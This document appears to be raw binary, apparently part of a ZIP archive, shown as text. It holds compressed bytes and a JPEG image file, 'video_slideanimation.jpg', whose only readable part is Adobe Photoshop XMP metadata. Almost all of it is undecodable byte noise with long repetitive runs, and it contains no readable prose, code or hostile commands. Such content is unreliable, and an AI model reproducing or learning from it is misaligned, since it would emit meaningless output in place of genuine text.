�N/鳘��&=8D���c�p�����9�M�cӄK�~8�.E�K�/t�a��K��"�G�c�p������)j����?4N�SL��zn�"_�����/;�L�3���Ϟ>y�1�Lzp�M�Ǧ�1��%�6s��ǧ����zn�"_�g1�Lzp�M�Ǧ�1��%�6s��ǧ����zn�"_�g1�LzO����tTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQ_���FQDe�FQDe�FQDec�s�)�b��)�b��)�b��)�b��)�anrf$�m��I�ۓ���'�q';nO��NvܟmĜ�FQDe�FQDe�FQ_W�q';~��1LS�1LS�7��I�ߤe�FQDeY>�`���d��FI$d��FI$d��FI$d��FI$d��FI$d��FI$d��FO�2��#(��2��#(��2��cư��2���)�b���}��gC��LS�1LS�1LS���˃�8��o��m�R�
H) ���
H) ���
H) ���
H) ���
H) ���
H) ���
H) ���m���l<�*J���*J���*J���*J���*J��v�����7�n��L�%��}��m���Z���7�n��vپ�p}�s��ۃ�C��o��m��z�LTe�FQDe����}��n�o�Փ*J��B�g���p�;~Z��) ������m���!��7�n��vپ�p}�s��ۃ�C��o��m��}��n�m���p�;l�m�>ۄ9�f�m������tT�REI$T�REI$T�REI$T�REI$T�REI$T�REI$T�REI$T�REI$T�REI$T�REI$T�REI$T�REI$T�REI$T�REI$T�REI?���BI	$$��BI	$$��BI	$$�}�j
���*
���*
���*
���*
�/�n$�u���I�듭ؓ��'[�'��N�bOw\�nĞ�BI	$$��BI	$$��BI	?W[�'���APTAPTG���I��$��BI	$$�:�`�5�%�BQ	D%�BQ	D%�BQ	D%�BQ	D%�BQ	D%�BQ	D%�BW�HI!$��HI!$��HI�k�4��HI��*
����u��_S�PTAPTAPT_fۃ�����n�\n�J��*��"���*��"���*��"���*��"���*��"���*��"���*��"��u���[���)�r��)�r��)�r��)�r��)�r�x�����7[��XK�&-�u���u���b���7[��awY��pu�{���냭�C��n�\n��v�d$��BI	$$����u���v�w��i�r�Zro˭�[����X܈�"�������u���!��7[��awY��pu�{���냭�C��n�\n��u���v�u���[�����n�:݄=�f�u����?�w{UUUUUUUUUw��UUUU^)�o���<l�������V87�7<i3�cI��DG���?����?���'����d�2q8��FN#'��ݷ=Ź�-�qn{�s�[���縷=Ź�۬�FN#'����S�1��d�2p8�N'���d�2p8�N'���d�2p8�N'���d�2p8j�縷=Ź�-�qn{�>������p��|�>P(����@|�>P(����@|�>P(����@|�>P(l�n䷗%��-��o.Kyr[˒�\��䷗%��-��o.Kyr[˒�\��䷗%��-����{=��O���]Og�T�}��:T���?���d�2q8��E))�0�_�0F8c��%��-��o"�q��ğT`>P(�%z���hѣF�4hѣF�4hѣF�4hѣF�4hѣF�4hѣF�4hѣF�4hѣ��8p�Ç;nA\Xb>C�>C�>C�>C�>C�>C�>C�>C�>C�E\X�ө�i�SV�N����M[M:���|6jVe���f�fY�Y�jVe���f�fY�Y�jVe����[M>޾S������;z�N޾S������;z�N޾S���­��
���f�fY�Y�jVe����Z}qp��y�%���f��Y�9�jNe���f��Y�9�jNe���f��Y�9�jNe���f��Y�9�jNe���f��Y�9�jNe���f��Y�9�jNe���f��Y�9�8p�Ç;ф#�8w�������;z�N޾S���D��|6�����|��|��|��|��|��|���5h~��t��U�W�_�P���^�9�NE�S�z��^�9�NE�S�z��^�9�NE�S�z��^�9�NE�S�z��^�9�NE�S�z��^�9�NE�S�z��^�9�NE�S��:Ej*�?�O�<x~�qG1�Q�ws��qG1�Q�ws��qG1�Q�ws��qG1�Q�ws��qG1�Q�ws?�>�������?��:Ej*���j�o�D���C�ͪ}�����V����"�l����d�H�E[%>��W���Z��8�����jVe���f�fY�Y�jVgS����8aU���*�U�S�GC������N�c����(������yy��l��!��G�i�z��^�9�NDz�X�-^q�+QV�N�Z��Jt��U�S�V����"�l����d�H�E[%:Ej*�)�+QW���?!��ڪ�������������������S��:����:����:����:��������UU)�S �AL��2
d�)�S'�DDDDDT�AL��2
d��ՓS6�i��)�S �AL��2
d�)�S �AL��2
d�)�S �AL��2
d�)�S&ު����*""(���N���:����:�������EW�ɡ�N���`�)�S�L�0
`�)�S�L�0
`�)�S�L�0
`�)���Ї*�[��t""""""""".�9SJ]��:��"�����
�Vh���2
d�)���*=]�������]��z����MZ������$����S�L��i��ۗ���UUUUUR��vȣ�E�(�Gl�;dQ�"��vȣ�E�(�Gl�;dQ�"��vȣ�E�(�Gl�;dQ�"��vȣ�E�(�Gl�;dQ�"��vȣ�E�(�Gl�;dQ�"��vȣ�E�(�Gl�;dQ�"��vȣ�E�(�Gl�;dQ�"��vȣ�E��
Q���f��6�(́Fl
3`Q���f��68�`/O؏������������������������������������K���K�q%���}�$��/�Ė�s%�8��Nd��[�̗��(��(��$��/��ffffD��s%�8��(�KlV>A�o�EQEQEQEQEQEQE��f��6�(́Fl
3`Q���f��N��(́Fl
3cp��Ȓ�';)z~�}�}�}�}�}�}�}�}�}�}�}��
^���$�	ɒ�H�یIm����=���QEQEQEQEQEQEQL��D��bKls������������|�HL��D��bKp�ɒ�H�یIn�2_i[q�-�fK�"Kn1%�L�}�Im�$�	�/��-�Ė�3%�<�+գ
��m�QE3�*�;�G�Ė�bKp�����3�SE[�����3�CE_��-�Ė�3%����ҭG�z���(��+�f����m�[q�-�fK�"Kn1%�L�}�Im�$�	�/��-�Ė�3%��%���&d��$��[�̗�D��bKp���H�یIn2_i[q�-���?!��N��-�np[����-�np[����-�np[����-�np[����-�np[����-�np[����-�np[����-�n?����/�~�_����/�Ղ)�"�")�"�")�"�")�"�")�"�")�"�")�"�")�"�")�"�&��zk�箹�=5�s�\�����|OMs��>'���z��\�7��/�~�_����uω�~�S�E>DS�E>DS�E>DS�E>DS�E>}:��\�7��/�~6Z��W�%�/�~K�_����%�/�~K�_����%�/�~K�_����%��_����/�~�_��~���_����|��Ȋ|��Ȋ|��=���V�Ȋ|��Ȋ|��Ȋ|��Ȋ|��Ȋ|��ɫ7u�c����\���㮹�nKr[�ܖ�%�-�nKr[�ܖ�%�-�nKr[�ܖ�%�-�nKr[�N���\�u�c�Q�_��_��_��_��_��_��_��_��_��=��)��\���㮹���?��i�{Mu�q�\�?�n���4�=����|'Ms�k�{����t�=����|'Ms�k�{����t�?ˁ����_������:�㮹�5��DW�E~W��Mu�q�\�N���m�}r[�܍����]s�u�>���5�=�]s�:k��]s�u�>���5�=�]s�:k��]s�u�>���5�=�]s�:k��]s�u�>���5�=�]s�:k��]s�u�?��?!��N�%�/IzK�^��%�/IzK�^��%�/IzK�^��%�/IzK�^��%�/IzK�^��%�/IzK�^��%�/IzK�^��%�/Iz����%�-IjKRZ�Ԗ��%�-O��N�'G�������ty:<�N�'G�������ty:<�N�'�S��.[�����-�Ir�z˖礹q=e�s�\�����.\OYr�ڒԖ��%�-IjKRZ��t�.'��zz<�N�'G�������ty:<�}:K��\�6��%�-IjvZK��A-AjPZ�����-AjPZ�����-AjPZ�����-AjQ�%�-IjKRZ�Ԗ��%��=U�ܵ%�-O������ty:<촗-�7n�T:<�N�'G�������ty:<�N�'�Sq�\�<ݸ���\�%�c�����/Az�^�����/Az�^�����/Az�^�������.[M%�q�\�>�ޔ:�^�W�������ux:�^�W�������ux:�^����v�˖�Ir�t�-�7mӓ��Yr�i.[�����rw�k.[M%�q�\�N���\�%˄�.[M%�q�\�N���\�%˄�._�+�{���%�-IjG+�{�t�-�Ir�:˗�؎�W����^�%�q�\�N���}�mK�^������Ir�t�.��m4�-�Ir�:˖�Ir�t�.��m4�-�Ir�:˖�Ir�t�.��m4�-�Ir�:˖�Ir�t�.��m4�-�Ir�:˖�Ir�t�/����m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��I$�I$�I$�I$�I$�I$�I$�I&�m��I$�I$�I$�I$�I$�I$�I$�I��m��I$�I$�I$�I$�I$�I$�I$�m��m$�I$�I$�I$�I$�I$�I$�I$�m��I$�I$�I$�I$�I$�I$�I$�I&�m��I$�I$�I$�I$�I$�I$�m��m��m4�I$�I$�I$�I$�I$�I&�I$�I$�M$�I$�I$�I$�I$�I$�I��I$�I$�I$�I$�I$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I4�I$�I$�I$�I$�I$�I&�I$�I$�M$�I$�I$�I$�I$�I$�I�����$�I$�I$�I$�I$�I$�I$�i$��m��$�I$�I$�I$�I$�I$�I$�I'��$�I4�I0I$�I&�Im�I$�M$�K�m��m��m��i��m��I$�I$�I$���m��m��m�ĚI$�I&�I$�I$�I$�&�I$�I��I$�I4�I!��m��m�	$�I��I$�i$�I$�M$�K�m��m��2I$�i$�I$�I$�I$�I$���m��m�̒I$�I$�I&�I$�I$�I$�I$�I$�I$�I&�I$�I��I$�I4�I$�I$�I$�I$�I��I$�i$�I$�M$�I$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I���&�I$�I$�I$�I$�I$�I$�I&�Lm�I��I$�I4�I$�I$�I$�I$�I���i$�I$�M$�I$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I&�I$�I$�I$�I$�I$�I$�I&�I$�I��I$�I4�I$�I$�I$�I$�I��I$�i$�I$�M$�I$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I&�I$�I$�I$�I$�I$�I$�I&�I$�I��I$�I4�I$�I$�I$�I$�I��I$�i$�I$�M��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m�������������������������m�ԒI$�I$�I$�I$�I$�I$�I$���m�$�I$�I$�I$�I$�I$�I$�I$���mI$�I$�I$�I$�I$�I$�I$�I+m��RI$�I$�I$�I$�I$�I$������m�ԒI$�I$�I$�I$�I$�I*?������$�I$�I$�I$�I$�I$�J�I$�I$�I$�I$�I$�I$�I$�I$��$�I$�I-RI$�I$�I$�I$�I$�I$�I$�I$�KT�I$�I$�I$�I$�I$�I+�I$�I$��$�I$�I$�I$�I$�I$�J�I$�I$�I$�I$�I$�I$�I$�I$��$�I$�I-RI$�I$�I$�I$�I$�I$�I$�I$�KT�I$�I$�I$�I$�I$�I+�I$�I$��$�VI$�I$�I$�H������I$�I$�I$��I$�I$�I$�$�������I$�I-RI$��I$�I$�I$�+�I$�Z��I$�KT�IY$�I$�I$�I"J�I$��$�I$��$�Q$�I$�I%I$��$�I%�I$�I$�I$��I$�I$�$�I$�I$�Ij�I$�I-RI$��I$�I$�$�I+�I$�Z��I$�KT�I$�I$�I$�I$�J�I$��$�I$��$�I$�I$�I$�I$��$�I%�I$�I$�I$�I$�I$�I$�I$�I$�Ij�I$�I-RI$�I$�I$�I$�I+�	$�Z��I$�KT�I$�I$�I$�I$�J�IT��$�I$��$�I$�I$�I$�I$��%$�%�I$�I$�I$�I$�I$�I$�I$�I$�Ij�I$�I-RI$�I$�I$�I$�I+�I$�Z��I$�KT�I$�I$�I$�I$�J�I$��$�I$��$�I$�I$�I$�I$��$�I%�I$�I$�I$�I$�I$�I$�I$�I$�Ij�I$�I-RI$�I$�I$�I$�I+�I$�Z��I$�KT�I$�I$�I$�I$�J�I$��$�I$��$�I$�I$�I$�I$��$�I%�I$�I$���?��X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ,X�ŏ-�
�ዞ�ዞ�ዞ�ዞ�ዞ�ዞ�S=��UPUPUPUPUPUPUPUPUP�{����;��i�z�s��<OC��z����w��S��=��v�'��w8�8�8���<OC��h���������w��8�=Nӱ��X���7��8�8�8�8�8�8��.xb�.xb�.xb�.xb�.xo�5����ዞpDDMN��R��V¨*��*��*��*��*��W=�[q��<%4;��S��:��c���{���p�8�8�8�8�8�8�C��5;N��v9��)�?��v����;��i�(��i��wN��Q4;��S��:����w���i�u;O	��;MNӸ�v���v���q��<'C��g��نѽQ�q���ʇ����u;N��xN�y�x��]�z�,(诓ѩ�wN��t;ϣ�����w��Dq��^�UC3ٌ�7�S��:����w���i�u;O	��;MNӸ�v���v���q��<'C��5;N��xN�y�jv��S�����;��i�:�i��wN��t;��S��:�����m��m��m��m��m��m��m��m��m��m��Y6�m��m��m��m��m��m��m���9�Q���""""""""?^�]j�U~���m��m��m����������������o����K;�zק
����������������������m��m����ƕz������6�n��ۿ~�}(�T~����r�Vj����n�m���ڕ����������������������m�,ӯ]ӻ���������.קO��mݶ�wm��m��m��m�R%Ia������qH�$U�o�;m�����ۯ����Z���m��ߴ�Wݽ���7�,Q��o�G�m��m��m��m��m��m��o��?��r�J�*T�R��:�*T�����
�B�
(P�B�
(P�B�M�G�M�?���
�b/���"��B/���"��B/���"��B/���"��B/���"��B/���"��B/���"��B/���"��B/���"��B/���"��B/���"��B/���"��B/���"��B/���"��B/���"��_��[�E�l[�E�l[�E�l8�?٭}�z~�0
��J{R��92��Éɖ�NL�80�re����-�8��zUl[V�U�l[V�U�l[Lq92��"""" Éɗ�V�U�l[V�e}T���
����`*�
����`*�
����`*�
����`*�
����`*�
����`*�
����a�E�l[�E�l[�E�l?�fY�"��-��a�b��־Խ?{@�����/O��&$�i�li�V�{��*�
�B����*�
�B����*�
�B����*�
�B����*�
�B����*�
�B����*�
�B���L��a���ǮtҖ��0s���~��e��
�8LD�m �q�&[H0�`Äɖ�70�2e��
�8L�m �q�&_�	�NM�k
����`*�
�Dί&�=�0a���	�/E~�Ҟ��舊}�}����p�2�?۫�_!W�U��ў�0�`Äɖ�70�2e��
�8L�m �q�&[H0�`Äɖ�70�2e��
�8L�m �q�&[H0�`���?��Z�J�*T�R�x�
(P�B�
qڕ*T��R�J�*T�R�J�*T�R�J�*T�R�wJ(P�����=
(P�B�
(P�B�
(P�B�
�n�J�*T�R�J�*T�R�J����ğto�;�R�J���T�_�(S��l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�����>Bϐ��,�>Bϐ��,�>Bϐ���+�/j��������������������
G�[ڿ�'��q8���K�Ɔ�:\N479��q��Η�Jϐ��,�>Bϐ��,�>Bϐ���.'�����������=3���Cҳ�,�>Bϐ�岝-�B�ӧ�,�>Bϐ��,�>Bϐ��,�>Bϐ��,�>Bϐ��,�>Bϐ��,�>Bϐ��,�>Bϗ�g�Y�|��!g�Y�|��!g�Y�;*wȳ�,�>_������6S��[��{Խ�������������)�oj���ح߀F��t����+�z�̀�`,�6̀�`,�6̀�`,�6̀�`,�6̀�`,�6̀�`,�6̀�`,�zcCi:[��lz�]kv��������������������Hr���������-�t�+w��
��n3��[��m�hm'Kq�.I��gK�Ɔ�t���1���-�t�Lh~k�uy���,�>Bϐ��,��2���Ζ�:\&4=
�\T_�_�_بWZb����gK�Ƈ���,�6̀�r��N��:\&46���Η	�
��n3��cCi:[��p���N��:\&46���Η	�
��n3��cCi:[��p���N��:_���PK�y3\����R�R,assets/images/guide/video_slideanimation.jpgnu�[������ExifII*��Ducky<��http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:C2EE24D240C111E99A9BE6B0C3E05248" xmpMM:InstanceID="xmp.iid:C2EE24D140C111E99A9BE6B0C3E05248" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5bdfa583-c4f0-3444-a164-7cb51abd2c2c" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

J%;�R���		





���0���	@0P!1 "23�5A#C`p���$4DBE1!20AQ"@PaqR �Br`#����3���bCS0P�! @�!1QaAq 0@P���`�р�p�������X�RJ�3�,hA@I��T���*T$�5*dT�&�.T����d�!�,TH �X�$�A�r.@(2��%��mצx��^|��$����<2�V�ww�[(p���հӷ_wF����ww�[)bѝ�(<�y�lӷ_wF�h�Z+U���u�����OCVy�[n��[p���>��9���OF�/�>�+~������u�����N�yrg���d�UN|��و/�����z���lm���W���Keڳ���;�4��\oX;{�o�$(_?�v�?I�/��xVo�C�@(��!HPB�a�P&�e H$H �$Lr�?f��OϬ���&�2�@$IA$q�(r@?g_��~N�*t9 ����?'O����:�i�����P��-~I<*���faT���������r� �RMA�@,@*@$СPI�Eʕ8N��MI3*lTI��@f*@��l\�̓��$�bb	(A�(�
N��L��A���f1$ڴ�)	/W4�A $A 	 �$	�
4=S�*.I�.T�hf43=c��@=3����s�9�H�:	 ��8J�A$I	 �	 �@$A&�x�8y�zD,`r���%Apjye@J��I���c#���,b\�*bAs��J����A�3���,n`hflP��S�;������@Ab�
�$��͊�6*A�A���X�
M�GV�������e@X�ݯ���6�����y:m�<//����z���������}`{~����4Ť�����</+�����w���S\nYL�g�x>�=�{��nAɿ��(=�m�/N��f�`�q����=�?������+��ɳ�g�>����y:m������j�~.�D.Yc���P%�O��^@�f?W�3`;5�R�?v����}`{~����oO��z���K�����O���y{�� ����?���5~E<���/c�  �6���e������H?j_�?;?1L@��m��W�̀~Կ^0��>P=*l����y����P���R�q���b�V�
@
@P@
@QPf0~��"��^����(HI\�w��a�z��P�r��ZA�T��.0pE@^��M��'�{�ft�9���"�e�3�q��pV���:�py�Z�R�Kt�
-�RU!q���uWu�@����0�EwP �*�Ul&Fe`Z�56$� �}Q�&`r�072*���A��}q�G�W�>��͎s�<⇚}!��rN A������}����}1S2�	���hp�X�5,t�,d���1*�%��lum���QQPb�u�V9c���ժ�P�UmTr1T�k��c0V9��1T�j�T�"#�k�����_���"�g�oU���-r*|��7�Lo�2"��
����b-^��UU*��9P�ҫDr����U�V����-U�R�/uQ�B��Q�.Z�k{�s��ߡ�z�U񪗩zy#X�b1�F#��b1�F#��b1�F#��>�z�(P�B�
�(�#��b1�F#��b1�F#��b1�C���oӧ�Z�c���}=�"5T���]�W��ѵ��k���OA�I���R#Y�"I#�%��Y_D�D����s��I$t����e�+�"Q�{SqVI�b�e�U�U�5h�����I�g1�;��7��L�.��t��z_�I2��i�=�g�=�y�^�+����
�8���.qs��\��8���.qs��\��8���.p���-�K��N�^M������8���.qs��\��8���.qs��\��8��|��o�|7ݻi���~?��`����}�v�(�����/����.r5;��,a4��'ƞ�d���w��ó�.�߯E��d��꧷����GW*|�R�\pة�E(���TT-��['�TT-w��S��"��D�حE���er̋kU����u�2�eA�;���In�ʩ%Uwm�D[��i�O��\�Z�|��+�*Ӑ�l�WKV'ɓ�m��t�%d��:J�Ҫ���ʨ�KT|�>��'7��Û�k|*T�R�J�*T�R�J�*T�R�|�Z*S��Q�!b�_)b��P�B�
(P�B�
(P�B�
(P�B�
(P�B�
(P�B�
(P�B�
(P�B�
(P�B�
rV�R��Ǩ�Ȟ-j�W��#�~�]�P+$��F��G���~tDd&�Ɛ����F���~EU��a�HR; �Dֹ͎<rF�x�k%���(���uT<�r+%d�,k��T�ܪR��71D���Y[K�H׹�Iܳ#�� �ۢ���'�Y�6tWR��$G?p�l���[��яlj���^�1`X�d�^�$h��M��cu��D��~'6V����z��D��I��{V8���!z��V/�Bֶ	Ŋ\�c�$���lj�>�����v�~�-�*���7j,k�c�)k��ƫ�v�s��X��H���3�k�J�*#܈�J���R�Z���s�Qou׺�U�S#��dp�=L�U���Gܒ=6iZ��떫<�2Ye����������J�%O$d.y�8��S�qN)�8��S�qN)�8��S�qN)2����EP�X��S�qN)�8��S�qN)�8��S�qN)�8��3����wj��v��I�����{�<�1C$��n�7/[i��tQ�|R1	>�B?�v��?����X�&�eћ��яf�l����Oct9�n���D�+w;�'����G����Z�fQ�V�4ѷ��6��c2�k�v�΢�"K"�R,oEEM��2Ww
��7��+�>�B?���IH�[+�O���Y�޺�|}��l����v]�z;'Rm$�DgA�d��!�C,�I�$2Hd��!�C,�Y�$2�d��!�C$�֮�����k��~(ǓC,2|lZ;$�I�$2Hd��!�C,�I�$2�d��!�C,�I�dʾM����۴�G�?�쿰_�����[M�}���Ν�|����5��?+c	��i>6}ZE�J�7��;��aٻ�z�oף
|�e*zh�v�,�n���\�&�,U]��"s*���r.9DEQZ��H��[�J��{D�E�5J.��W;�k����WoZ��|����~��̈́6-�P�q"w,qnwYp��7s{�ݣ�Ǭ�=��F�������h6��t��G����{�n�Ywh�Gn`M¦�-�6)w�"?r�ܦ��Q�ɺs޻��G�VI.��M�YM��3��$g^(����eP�������
�r!r!rB�.B�.B�.B�.AWȝ(���DU'��H,N-w��'	~�,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,����f�i����c�A3�vۆ��Q>W*Q|��Ȩ��1B�|�b�wX�dm�PH�
�L��d�1��d&�y�fl۸�j���C�5��p�u���h�ض;�*ma�Y"�m�m��A�M��87[8��mvms���r�b�n#���y�h���cs�ڒG�U������I�k%cܿv�B�Y8����h���w��b�������s$��Y�V��b߳Ս�]"5$���di��c1��f3��c1��f3��c1��f3�P�B�
(P��c1��f3��c1��f3��c1��f3��+z)�WuQڅ觍t�^�WN��q��QEQ��еtu<���
���]
h����M+�mүE�WhۥwJ�J�*T�R�J�*T�R�J��ԩR�J�*T�R�J�*T�R��e2*�s�q�9�8��s�q�9�8��s�q�9�8��m:mmN9�8��s�q�9�8��s�q�9�8��s�q��N�=��KՎ]C���𯊭42�׊M��|��g�(���_�Z9�]֕����*\�[O�t�HS��s��OVS����]��Jx?۠�m$���B�M#�����e��B��IӠ�^��^��^��^��^��^��^��^��^��^�륽KԽKԽKԽKԽKԽKԽKԽKԽKԽK�U�.���eqqqqqqqqyqyqyyyqyqqqqqqqy^�Kˋ�ˋ����ˋ���ˋ������˄wEu�UMBtWN��TӧE|Ƃh4*�d诂|_2��tWJ�5ҧEt��]*t�P�B�
(P�B�
(P�M-
(P�B�
(P�B�
)��S�C)��e2�L�S)��e2�L�S)��e2�L�Q�^���S)��e2�L�S)��e2�L�S)��e2�L�_^���쏪��
��;�M:�3N�~�����o�h"
�hۡ��*�k��~��ƕ�U�D�j�:�dJhU+�B�|��w��$��J��F��懶=4R'����
�j�j�j�j�j�j�j�j�j�jimB�-B�-B�-B�-B�-B�-B�-B�-B�-B�)�\?��?�J�\2�Q�xT����?�e���?�1�‰��n;X�hl�lm��([�a}�ݘ��6,�)l��`�
�PX"F
(���p�6I�\���`�7��c�O�Wc�v:�?�0O�:��?�UUUUUUUUUUUUUUUUUUUUUUUUW;��UUUUUUUUUUUUUUUUUUUUUUUU��›�4�r6`����XS~Ɲ�
���;��mVX�!q��V4l8��3�P����-�v+����М��ù58`�T}�o���ԉ!�#���6���/؞x��WD1����ϱ�.�{w��>�mպM���y��xjƟ>[�>�UUUUUUUUUUUUUUUUUUU]�~�#����=�r�o$t�ba8�'sUUUUUUUUUUUUUUUUUUU^��-�k��3��Fq������~���-��ͽ0��F����
������$e"�T�t��\u�_�掦���*����+�n�iF��f��J4��!)�Ρ� +��]J�t�6Sf(�M ��X�N�e8UG�9)�Uc�`D�K�e�jI�n���P�-6X�I��(Ty��:�8�OgW4\8<�,6X�V�72���%�<�0@�Bv��j��<��߾0���D`�)��c���O��\���U�DIV.��)K(Wˆ=�gHb�F`��U,���+�D�TD~�i�������0B��o5�*q�P`��t��sZ��S�0Q��Ei��R-O��(���h�q^Ug@�	A�W�1汪r����sE,#�,��Q<�(�MT}�Iĩ��8�1��&f۰Q17YU9`�9���� �qe����!֣�Z(�,���bV����6U�Z7fS_4%AJQZ�(`O�$��c@�5V���_k��]%<���������j��Q\�����Q;�J�����v0*����.���p�ev�g.�z�fY�e�fY�e�fY�e�fY�e�fY�e�fY�d��V;�iY�e�fY�e�fY�e�fY�e�fY�e�fY�e�fOQ���<�N��L�h;������9�>�r�;�nYx��F;�k��[��׳5�"f��Q:�7N�+�|=^
cJd� ����҉l*���Iҝ��FiN�i��؆�*����S��]>�-���g�b��r#�iƲ�����6���8�A�=2��.��5�|w�h���D�⇰ݬ"��{��R<
M8�#�x��=��Wc���e���;����V�[������G�֍>|�M��s�̳,�2̳,�2̳,�2̳,�2̳,�2'q�H�A��(�D�蜿��=X�N5���,�2̳,�2̳,�2̳,�2̳,�2̱�h���f��1�yu#�ߏ�p��[oכz`3 ��g���=�w�䌤X
����ˎ�����Ց��Y����V�[���&��G�э>|�^]��	oO���@إcDu[Q�~�`���ҿhE0�~I�ǒ�p�`���0Ӂ��5#p9�">K�$y�"{����!��A�<Q��0�kj�9,�bn���J5�;��'����H�+>��-PpzK�F�
E�nLK��~N���L�baI-0����#P��FgPëN�W�58�N��	�+ٌ-�����⎋W���!�G��7�\/}��#����Aݔ$�`��4�B�*Rg��E{zp���(�֡&f
�n7�wÍ�ʝ��V;�=��)��9��lu%�WB6�����G4�m��c�k������V*�Q����[K3��=%F�J\G�����=qWWS�q+��q ��e��Ɠ��bcl��iA�؊�Q(�G2�h�[\D����y(�\�΋Hi���{Rq?Z#�(H���.`�r_�4?ıt�ҡ�D
,:�?Pe)J���ӏ��DjDF*"x@ԧ�y~�5�x�QD�"�_��K[H�"�Z2�)}�洵4�!~<Iof�D�)����?!����5�h&`��"d��sf�n�����S�2"z�ebt�C��_^�F��fv��}^�Ron���jU���'���ՠ���s��[�\Ѭ�����A���s�M�cM*%���3@�+����e}���'ts�i�B˾5k��|o�q��f�-�F��I��$��������[�iթ�|���7�n��ۓ(�6�^��#Zڍ�<��<���`�G���͖_��CL��S�^AyD�pk�47DWAB�t,P�]�,_Abŋ,hPj��2��b�+(P�b�
(X�b�(X���}3�Ou��{}
-F���E��~��h�h���Z�;=�?_4�}p�<�g�
ַ2�~i�ї��u��O�>i�G�HlhU������g���U7-���z�0��}�O^�L��������U膽���;	��Z?�.CE���vA:�G?@_���|ZG�rAF2�g{˦��'�ߵ(��'��L�s��$�I$�I#��VVVVVVVA�E�4�4S+g//�x�a��VVVVVVV9+�I�I$�I=]�7���H��h�Fp����O�_�w�#�I��Y��/�>��{�wAj�I.�BMH���L�I��������Tߜ����r�����=��?��[{˗���`bSK���CV���!�/Ep����k���Q�r�n%^Ƅkə����mƫ�Յ�L�ߡ����
���ӫ��˝$JJbu}A����|y>;Tn>���F���B}�N�t�j�WP���'�
VD=܄y���K7W�Ϻ�U�^�fU�>���݃`F(��=X^���Ʊ�q2h��+vz&7P�<�a^�Z3�:2�a5�(��*��ղ�N���O~�i��>��i�AAAAA@�Ж��j�Y�Z���4���Zv�C\���������������k�U�S^��+߯�6i꺠��N<>�-���]�
/�1��GxL�X��[�a7�	�4�i�YrcCQr6�P�Ur�Q4��H�<��ON�T�bFZϦ&+F(4;�u�������tM�;���K\ݐ�c0��L]�Vf���U�
[2J�8t�aA΁�sKģFf9��c"#����ެ��]�)w.�$�LZ]/,;[zÉ���F��jh�k�6�N�p��D��3�XSV�mla���J�!��
���l�a�삷����1���Ą�,4aY�>�t��i�ǽ��f�䚆��.�R����
�������&L��:��b.-���<��	`Z�uC��u4�$2T���1gs�w]9��"D�]F����f.��YtDџ���q���Cj��Ql0j2m���v��o�
���5�K�}+]XbI̝f��6�X�3��[�F�#�Fu	���5��X�bŋ,X�bŋ,X�bŋ,5�D4��{�»te�,X�bŋ,X�bŋ,X�b�O�����xH��/��؎�r��M5VS��|>�?C�F��X5&�����\#���p��{�����A)p<a�j��������ue��xΝ��U���n��a���c���[��?�_����F~尺�%��,;I�O�������F�0se�`���*�f�73�Q}��;8���$V���-�o��9���-�EO��6��Kb�qx�?@^�~��;���zg{��]_�7�O������!������!:q�K���a�
xK�pp�þ]5�7�}�<����22�2B����zY������Ðra�9�0�ØrA�9� �Ðs�u����q�T��4Y������<x0�ec^�V8���Øsa�90�ÐsA�9�0�Ðr
M~��~�"-��<�3<?vy���/���#��i��7ƞ~����wAz�I-[d��RxxsǓ.�v��%_+�Dz�|�^�²��8��|��;nn_�{V���>u~M.���q��V�U�����6v��`W\�]Qd��{Sx�4Q��ѯ���(�S��z�a,�՗�4ӍG�W���U�{�U������Oc���
ԧ�y8C�P�<ls1wj�#�%�Ge㸜#��[���
(pI"5#���&�?�,4ÿ�ڒ�z?��h�1[���z
��fƓ����iG;t��jtjc
j<FDE�c@5KR���"�����,���K�"�*;����c��]@��~�[�w��6v�P��/�}9�{���1���Iᎂ:dhպ�h�:�WP�XX�����y���^�{���^�{��{���^��^�{��{��{�e�^��y��{��{��{���^��y��{�e�^��^��y��{��{���^��^��^��y��{�e�^���6+FF9j�5w}<0�վ�oQ����MWH�cL������_��#� �o�4�u�i��S3!x�uJ�˗uKV�t�"z�58���2I�=uF�����!	'n�H9�Sh�QU>�ی���Ź7#�Z���:��b���lyo>�a�4���s�L:�T̝�M�1;]�F/D7�	.q���r3
